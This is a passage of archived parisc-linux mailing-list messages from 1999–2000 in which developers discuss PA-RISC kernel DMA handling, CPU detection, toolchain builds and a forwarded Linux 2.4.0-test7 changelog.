Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26493
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 09:03:29 -0600
Original-Received: (qmail 28537 invoked by uid 15267); 24 Aug 2000 15:03:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28522 invoked from network); 24 Aug 2000 15:03:24 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 15:03:24 -0000
Original-Received: (qmail 11123 invoked from network); 24 Aug 2000 15:02:41 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 24 Aug 2000 15:02:41 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id JAA29726;
	Thu, 24 Aug 2000 09:58:15 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200008240856.CAA20660@puffin.external.hp.com>; from Richard Hirst on Thu, Aug 24, 2000 at 02:56:04AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7789

On Thu, Aug 24, 2000 at 02:56:04AM -0600, Richard Hirst wrote:
> Log message:
> Changed to use pci_alloc_consistent, pci_map_single, etc. using patches
> from Bob Pflederer.  Handles systems with and without consistent memory,
> based on whether or not pci_alloc_consistent() fails.

> pci_alloc_consistent() always succeeds atm, so I have patched the driver
> to fall back to dma_cache_wback/inv regardless.

that's no longer the case since Tuesday :-)

pci_alloc_consistent will now fail on PCX-S and PCX-T machines.  PCX-L
and PCX-L2 machines set the hppa_dma_ops to succeed (use Uncacheable
pages) and PCX-T', PCX-U and upwards all have IOMMUs that will set the
hppa_dma_ops to something appropriate.

i'm sure that the tables in the kernel for mapping from hversion to cpu
type are currently broken.  i'm going to fix that today (now that i have
the tables we're currently using in the hwdb).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [torvalds@transmeta.com: linux-2.4.0-test7]
Date: Thu, 24 Aug 2000 10:33:33 -0400
Lines: 123
Approved: news@gmane.org
Message-ID: <20000824103333.C29677@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619077 2958 80.91.229.3 (22 Nov 2014 01:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 24 09:38:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26971
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 09:38:37 -0600
Original-Received: (qmail 2992 invoked by uid 15267); 24 Aug 2000 15:38:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2980 invoked from network); 24 Aug 2000 15:38:32 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 15:38:32 -0000
Original-Received: (qmail 18028 invoked from network); 24 Aug 2000 15:37:59 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 24 Aug 2000 15:37:59 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id KAA29872
	for parisc-linux@thepuffingroup.com; Thu, 24 Aug 2000 10:33:33 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7790


Linus has actually started keeping alan-style changelogs.  so i'm going
to forward them here.

btw, what do people think about just pushing the current parisc-specific
pieces to Linus right now?  i know the kernel doesn't work terribly
well right now and we're going to want to change it a lot, but it would
ensure that people who go around changing all the architectures update
our stuff at the same time.

----- Forwarded message from Linus Torvalds <torvalds@transmeta.com> -----

Delivered-To: thepuffi-willy@thepuffingroup.com
X-Authentication-Warning: penguin.transmeta.com: torvalds owned process doing -bs
Date: 	Wed, 23 Aug 2000 19:55:28 -0700 (PDT)
From: Linus Torvalds <torvalds@transmeta.com>
To: Kernel Mailing List <linux-kernel@vger.kernel.org>
Subject: linux-2.4.0-test7
Precedence: bulk
X-Mailing-List: 	linux-kernel@vger.kernel.org


test7:
 - pre1:
    - fix PCI resource bug that crept in in test6 due to the new
      requirements to handle multiple bus regions transparently
    - ll_rw_block documentation
    - sound driver module counting bugfix and cleanup (move to named
      initializers)
    - directory rename bug fix for busy directories (oops)
    - allow "init_new_context()" to fail - it can do so on some
      architectures when out of memory.
    - networking updates - TCP retransmission and ordering logic
    - fix strsep(). Not that anybody cared.
 - pre2:
    - fix modversions.h generation ("make -j dep" works now)
    - finish 64-bit VFS: getdents64 and fcntl64 (getdents64 also adds
      the "file type" to the readdir data - VFS layer change.  fcntl64
      allows 64-bit file locking)
    - Intel i810 watchdog driver and NS DP83810 network driver
    - dup2() cannot screw up the file table with threads any more.
 - pre3:
    - nfs_commit_rpcsetup() signed comparison bugfix and cleanup
    - sparc updates and TLB invalidation fix
    - networking updates (less verbose on the new reordering messages)
    - network driver Makefile cleanup
    - Fix segment copy on fork.
    - tsk->files race fixes: close-on-exec etc.
    - sound #define cleanups
    - fs/proc/array.c task_lock cleanup
 - pre4:
    - "USE_STANDARD_AS_RULE" - generic Rules.make as rule
    - arm update (arch/arm, asm-arm, drivers/acorn, Documentation/arm etc)
    - eicon ISDN driver update (big).
    - serial.c warnings removal.
    - compilation fixes under different configurations..
    - bounds checking for hpfs code page index.
    - sparc64 bugfix for atomic_dec_and_lock. Oops. And use flock64.
    - FAT missed the d_type thing from readdir.
    - fix tsk->files race fixes from -pre3 ("struct files_struct", not
      "struct file" and make sure to register the socket fs before we
      use a pointer to it)
    - ns558.c: don't leave the driver registered after a failed module
      load.  Either return success, or unregister the PCI driver. And
      don't leak IO port allocations.
    - USB OHCI controller fixes for oopses due to races..
    - usb updates
    - 3c59x driver update
    - VIA KX-133/KT-133 chipset detection and AGP bridge support
    - raid/raw-io cleanup: use generic_make_request instead of ll_rw_block.
    - Emu10k1 sound driver update
 - pre5
    - i2c-old compile fix. 
    - sparc updates (pte_pagenr cleanups)
    - make ipv6 loadable as a module together with CONFIG_INET_ECN
    - get rid of bdf_prm.b_un.age_super - it just confused the buffer aging
    - smbfs knows about nls and ascii mount options
    - small joystick driver updates
    - make sure to mark inode dirty after having changed the size!
    - hgafb documentation update
 - pre6
    - Pentium/MMX has a good IO-APIC
    - APIC detection (aka "try to boot the SMP kernel even on buggy UP
      boards that claim SMP.")
    - alpha time.c epoch calculations. Again.
    - report where the memory region information came from.
    - sparc updates
    - file locking: fix deadlock detection and EOVERFLOW
    - network bugfixes
    - md readahead was getting confused about bytes vs pages
    - DRM and AGP fixes
    - xircom_tulip.c: don't corrupt the timer list on suspend
    - PCI /proc interface buffer overrun fix
    - ISDN updates
    - DAC960 update
    - fork: get CLONE_PTRACE right (SIGSTOP the child)
 - pre7
    - block_all_signals()/unblock_all_signals() interface to allow drivers to
      react nicely to signals that happen to a process that owns driver data.
      Read: direct rendering lock handling.
    - ThunderLAN update (timer fixes, full-duplex, activity-led)
    - Fix NFS oops on removing negative dentry. Honour rsize for directory read.
    - usb updates
    - scheduler wakeup race fix.
    - move radio/tv cards to drivers/media, cleaning up drivers/char
    - move "input" layer to drivers/input, cleaning up drivers/usb
    - Cirrus SoundFusion CS4280/461x sound driver.
    - proper camera locking in usb/dc2xx.c
    - USB printer driver update (Printer Protocol 3 and timeout handling)
 - final
    - usbkbd.c syntax error fix. USB config messages change. pegasus update
    - digiboard driver update. Yes, people, it's still being used.
    - make elvtune not break any more now that "maxbomb" isn't used.
    - sparc updates
    - tunneling driver, aka "ethertap done right".
    - pcmcia/cs.c: only call the reset handle if valid.
    - net/sunrpc/sched.c: fix two rpc_wait_queue hangups
    - AMD Duron cpuid errata forward port
    - get_close_on_exec() only needs the read lock, not write lock
    - get rid of unnecessary kernel lock in fork()
    - MCA planar POS-register /proc support
    - drivers/media configuration fixup (menuconfig is happy again)


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dpkg and dpkg-dev binary and source tarballs for hppa-linux
Date: 24 Aug 2000 11:42:03 -0400
Organization: Linuxcare, Inc.
Lines: 32
Approved: news@gmane.org
Message-ID: <87hf8ar7hw.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619077 2963 80.91.229.3 (22 Nov 2014 01:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:57 +0000 (UTC)
Cc: debian-parisc@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Aug 24 09:43:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27140
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 09:43:04 -0600
Original-Received: (qmail 8140 invoked by uid 15267); 24 Aug 2000 15:42:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8133 invoked from network); 24 Aug 2000 15:42:59 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 15:42:59 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Rz8l-000689-00; Thu, 24 Aug 2000 11:42:03 -0400
Original-Lines: 31
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7791

Hi,

I've got CVS dpkg cross-compiled for PA-RISC.  Have at it:

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/dpkg-20000824.tar.gz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/dpkg-dev-20000824.tar.gz

A tarball of the source is at:

ftp://puffin.external.hp.com/pub/parisc/src/dpkg-src-20000824.tar.gz

We don't have Perl yet (working on that today, maybe, if the kernel
doesn't crash) so most dpkg-dev functionality isn't there, but it's a
start.

The native toolchain is basically working for static binaries, and
shared libraries should work as soon as we resolve some remaining
issues with libgcc.a and PIC/non-PIC linking.  I'll post a tarball for
the native toolchain soon (beware, it's large).

The kernel is not stable enough (VM and exception handling are "not
quite there yet") to really use this stuff though so don't get too
excited :-)

If you're brave, you can use a 2.3.99pre8 kernel with the current
arch/parisc/kernel/{signal.c,entry.S} until we get our really-slow-VM
problems fixed.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Fri, 26 Mar 1999 10:39:43 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <199903261539.KAA28977@lucifier.dial-up.user.akula.net>
References: <36FACD03.6446ACF4@netscape.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619077 2970 80.91.229.3 (22 Nov 2014 01:17:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:57 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Fri Mar 26 10:39:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id KAA15866
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 10:39:53 -0500
Original-Received: (qmail 20573 invoked by uid 15267); 26 Mar 1999 15:38:41 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 20565 invoked from network); 26 Mar 1999 15:38:39 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 15:38:39 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id KAA28977;
	Fri, 26 Mar 1999 10:39:43 -0500 (EST)
In-Reply-To: <36FACD03.6446ACF4@netscape.com> from Mike Shaver at "Mar 25, 99 06:55:47 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7792

Making, drinking tea and reading an opus magnum from Mike Shaver:
> Bob Pflederer wrote:
> > 
> > > OK, I'm convinced.  I've changed unistd.h to use 0xC0000404 (on the next
> > > page) for the syscall gateway, although we can easily change it back.
> > 
> > Isn't the next page at 0xc0001000?  Or does linux have some concept of
> > 1k "pages" even though pages in the TLB are 4k?
> 
> Brain-o.  0xC0001004 it is.
> 
> While we're on the topic, though: why 0xC0000004 and not 0xC0000000 as
0xC0000004 is because hpux uses it (;
dunno about linux's binary emulation principles, but for
all bsd's the emulation parameters pointer is located in the proc
structure, which allows syscall emulation to work even all
the emulated os'es are using the same syscall entry point (on some
architectures there might be only one possible way for syscall, 4 xampl)

> the target address?  (Although there are other bugs, like ``ldo 5,%r22''
> instead of ``ldi 5,%r22'' in the Assembler Ref as well, so maybe this is
> another?)
there is no such pa-risc instruction like ldi, it's a pseudo-asm-insn
which is actually ldo imm(0), rt
the whole pa-risc asm is full of pseudo-insns (like comb, comib, b(ranch))

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New native toolchain tarballs uploaded
Date: 24 Aug 2000 13:28:07 -0400
Organization: Linuxcare, Inc.
Lines: 16
Approved: news@gmane.org
Message-ID: <87d7iyr2l4.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619078 2975 80.91.229.3 (22 Nov 2014 01:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Thu Aug 24 11:29:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA28055
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 11:29:07 -0600
Original-Received: (qmail 3276 invoked by uid 15267); 24 Aug 2000 17:29:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3267 invoked from network); 24 Aug 2000 17:29:01 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 17:29:01 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13S0nQ-0006AM-00
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Aug 2000 13:28:08 -0400
Original-Lines: 15
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7793

Hi,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/gcc-20000824.tar.gz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/glibc-20000824.tar.gz
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/binutils-20000824.tar.gz

These are tested and seem to work rather well so long as the kernel
cooperates.  Still static-only of course, but quite functional.

I'm native-building sysvinit and util-linux at the moment and will
upload new tarballs of them as well.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Testing CPU detection
Date: Thu, 24 Aug 2000 17:43:56 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20000824174356.K29677@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619078 2980 80.91.229.3 (22 Nov 2014 01:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 24 16:49:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA30101
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 16:49:00 -0600
Original-Received: (qmail 30906 invoked by uid 15267); 24 Aug 2000 22:48:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30889 invoked from network); 24 Aug 2000 22:48:55 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 22:48:55 -0000
Original-Received: (qmail 149 invoked from network); 24 Aug 2000 22:48:21 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 24 Aug 2000 22:48:21 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id RAA01492
	for parisc-linux@thepuffingroup.com; Thu, 24 Aug 2000 17:43:56 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7794


Hi.

With some of the changes that have gone into the tree over the past week,
it is now important that we get CPU detection correct.  So I took the
tables from the HWDB which are a lot more accurate than the ones which
were in the kernel before and built a new kernel using them.

I would be very obliged if people would boot the kernel which I've put up
at ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-testcpu
and mail me (don't cc the list, please) the line which starts:

CPU might be a

It's fine on an A180 -- reports `PA7300LC (PCX-L2)'.  I want to know
what other machines get.  Thanks in advance to everyone who tests this
because I expect to be overwhelmed by mail from this :-).  Once I have
a reasonable sample, I'll check the code in.

Oh -- just remembered.  PA8600 (PCX-W+) processors aren't in this table.
people with J5600s will have to wait a few hours.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Testing CPU detection
Date: Fri, 25 Aug 2000 10:15:29 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000825101529.A13420@linuxcare.com>
References: <20000824174356.K29677@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619078 2985 80.91.229.3 (22 Nov 2014 01:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Aug 25 03:17:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA10892
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 03:17:22 -0600
Original-Received: (qmail 21059 invoked by uid 15267); 25 Aug 2000 09:17:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21030 invoked from network); 25 Aug 2000 09:17:17 -0000
Original-Received: from user49-209.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.49.209)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 09:17:17 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D3C08B005; Fri, 25 Aug 2000 10:15:29 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000824174356.K29677@vodka.thepuffingroup.com>; from matthew@wil.cx on Thu, Aug 24, 2000 at 05:43:56PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7795

For my A180:

CPU might be a PA7300LC (PCX-L2)
CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000 MHz


For my 715/75:

CPU might be a PA7100 (PCX-T)
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz


Looking good,

Richard


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel and palo source broken
Date: Fri, 25 Aug 2000 12:40:49 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20000825124049.B13420@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619079 2989 80.91.229.3 (22 Nov 2014 01:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Aug 25 05:42:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13714
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 05:42:27 -0600
Original-Received: (qmail 9429 invoked by uid 15267); 25 Aug 2000 11:42:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9416 invoked from network); 25 Aug 2000 11:42:23 -0000
Original-Received: from user49-209.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.49.209)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 11:42:23 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B211FB005; Fri, 25 Aug 2000 12:40:49 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7796

Hi,
  I just cvs updated palo and kernel source, and grabbed a new
cross compiler build from Matt.

palo update results in by A180 boot stopping after:

  Entry 00100000 first 00100000 n 3
  Segment 0 load 00100000 size 1512788 mediaptr 0x1000
  Segment 1 load 00272000 size 115348 mediaptr 0x173000
  Segment 2 load 00290000 size 122880 mediaptr 0x190000
  branching to kernel entry point 0x00100000
  Set default PSW W bit to 0


Kernel wouldn't build - mostly arch/parisc/kernel/signal.c problems,
needs to include linux/version.h, PF_PTRACED undefined...

I did cvs update -D '24 hours ago' on various things and my A180
boots again, but my 715/75 doesn't.  It thinks it has three disks
rather than two plus a tape, disk probing then fails, and finally
it thinks it is sending BOOTP requests but nothing is seen on the
network.  

Boy, am I glad Friday lunchtime is pub time!

Richard


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel and palo source broken
Date: Fri, 25 Aug 2000 07:47:16 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20000825074716.M29677@vodka.thepuffingroup.com>
References: <20000825124049.B13420@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619079 2994 80.91.229.3 (22 Nov 2014 01:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Fri Aug 25 06:52:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA14241
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 06:52:20 -0600
Original-Received: (qmail 24869 invoked by uid 15267); 25 Aug 2000 12:52:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24851 invoked from network); 25 Aug 2000 12:52:16 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 12:52:16 -0000
Original-Received: (qmail 30942 invoked from network); 25 Aug 2000 12:51:42 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 25 Aug 2000 12:51:42 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA05421;
	Fri, 25 Aug 2000 07:47:16 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000825124049.B13420@linuxcare.com>; from Richard Hirst on Fri, Aug 25, 2000 at 12:40:49PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7797

On Fri, Aug 25, 2000 at 12:40:49PM +0100, Richard Hirst wrote:
> Kernel wouldn't build - mostly arch/parisc/kernel/signal.c problems,
> needs to include linux/version.h, PF_PTRACED undefined...

i just added sc_sar to the struct sigcontext.  i'm sure dhd has the
right fix and will commit it once he gets in... rebuilding now.
Hmm.  Wonder why that version number test doesn't work... oh well,
changing it to #if 1 gets it compiled for me.

> I did cvs update -D '24 hours ago' on various things and my A180
> boots again, but my 715/75 doesn't.  It thinks it has three disks
> rather than two plus a tape, disk probing then fails, and finally
> it thinks it is sending BOOTP requests but nothing is seen on the
> network.  
> 
> Boy, am I glad Friday lunchtime is pub time!

Ah yes, the quality of Friday afternoon code is definitely higher than
the rest of the week :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel and palo source broken
Date: Fri, 25 Aug 2000 14:35:03 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20000825143503.C13420@linuxcare.com>
References: <20000825124049.B13420@linuxcare.com> <20000825074716.M29677@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619079 3001 80.91.229.3 (22 Nov 2014 01:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Aug 25 07:36:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14698
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Aug 2000 07:36:41 -0600
Original-Received: (qmail 30636 invoked by uid 15267); 25 Aug 2000 13:36:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30625 invoked from network); 25 Aug 2000 13:36:37 -0000
Original-Received: from user51-186.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.51.186)
  by mailserv2.iuinc.com with SMTP; 25 Aug 2000 13:36:37 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
